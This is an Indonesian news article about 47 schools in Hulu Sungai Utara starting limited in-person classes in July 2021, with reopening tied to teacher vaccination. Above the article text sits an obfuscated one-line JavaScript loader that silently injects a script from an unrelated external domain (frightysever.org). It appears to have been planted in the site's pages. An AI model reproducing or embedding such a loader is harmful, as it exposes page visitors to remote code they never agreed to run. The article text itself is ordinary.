(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pembelajaran Tatap Muka Terbatas di HSU Hari Ini Cuma Diikuti 47 Sekolah

KANALKALIMANTAN. COM, AMUNTAI – Sejumlah sekolah di Kabupaten Hulu Sungai Utara (HSU), Senin (12/7/2021) mulai melaksanakan kegiatan Pembelajaran Tatap Muka Terbatas (PTMT) dengan penerapan protokol kesehatan yang ketat.

Pelaksana tugas (Plt) Kepala Dinas Pendidikan H Junaidi Gunawan mengaku bersyukur sejumlah sekolah akhirnya dapat melaksanakan PTMT. Meski masih banyak sekolah yang belum mendapatkan izin untuk menggelar pembelajaran tatap muka.

“Kami tadi sudah melakukan monitoring ke lapangan kebeberapa sekolah, hasilnya Alhamdulillah hari ini pembelajaran tatap muka berjalan lancar,” kata Junaidi kepada kanalkalimantan.com.

Ia menambahkan, dari total 520 sekolah mulai dari tingkat PAUD, SD hingga tingkat SLTP di Kabupaten HSU, hanya 47 sekolah yang kali ini mendapatkan izin untuk melaksanakan PTMT khususnya dari tingkat SD dan SLTP.

Hal ini, lantaran masih banyak nya sekolah yang belum memenuhi persyaratan untuk melaksanakan PTMT, salah satunya pemenuhan vaksinasi bagi seluruh tenaga pendidiknya.

” Alasannya kalau sekolah itu mau melaksanakan pembelajaran tatap muka, maka salah satunya adalah terpenuhinya vaksinasi,” kata Junaidi.

Meski demikian, Junaidi menambahkan karena memenuhi syarat ada sekitar 20 sampai 30 sekolah lagi yang bakal menyusul dan melaksanakan PTMT serupa setelah diverifikasi kelayakan oleh BPBD HSU.

Selain itu, pelaksanaan PTMT sendiri saat ini tergantung pada vaksinasi bagi para guru.
“Ini tergantung pada hasil vaksinasi, jika vaksinasi sudah lengkap, maka kami usulkan lagi sekolah mana yang layak melaksanakan PTMT ini kepala BPBD,” imbuhnya.

Kondisi tersebut dibenarkan oleh seorang guru di SDN Cakru kecamatan Amuntai Utara, Ira Damayanti yang mengakui saat ini di sekolahnya masih belum menerapkan PTMT dikarenakan belum semua guru disekolahnya melakukan vaksinasi tahap kedua.

“Ya, bila sudah selesai vaksin kedua bagi semua guru nanti, kemungkinan baru bisa kita laksanakan” tukasnya
Ditemui terpisah, Ahmad Ismail salah seorang wali murid mengaku ikut senang anaknya dapat kembali ke sekolah meski ada sedikit kekhawatiran.

“Sebagai orang tua awalnya ada sedikit keraguan dalam menyekolahkan tatap muka, tapi berkat penjelasan dari pihak sekolah dan prokes serta aturan yang diterapkan oleh pihak sekolah. Akhirnya saya sangat yakin serta kondisi HSU yang merupakan zona kuning jadi sebagai orang tua berlega hati untuk menyekolahkan anak dengan sistem tatap muka, dan sebagai tambahan sebenarnya si anak juga sudah bosen dirumah saja,” beber wali murid di SD IT Ahsanul Amal Alabio ini. (kanalkalimantan.com/dew)

Reporter: dew
Editor: cell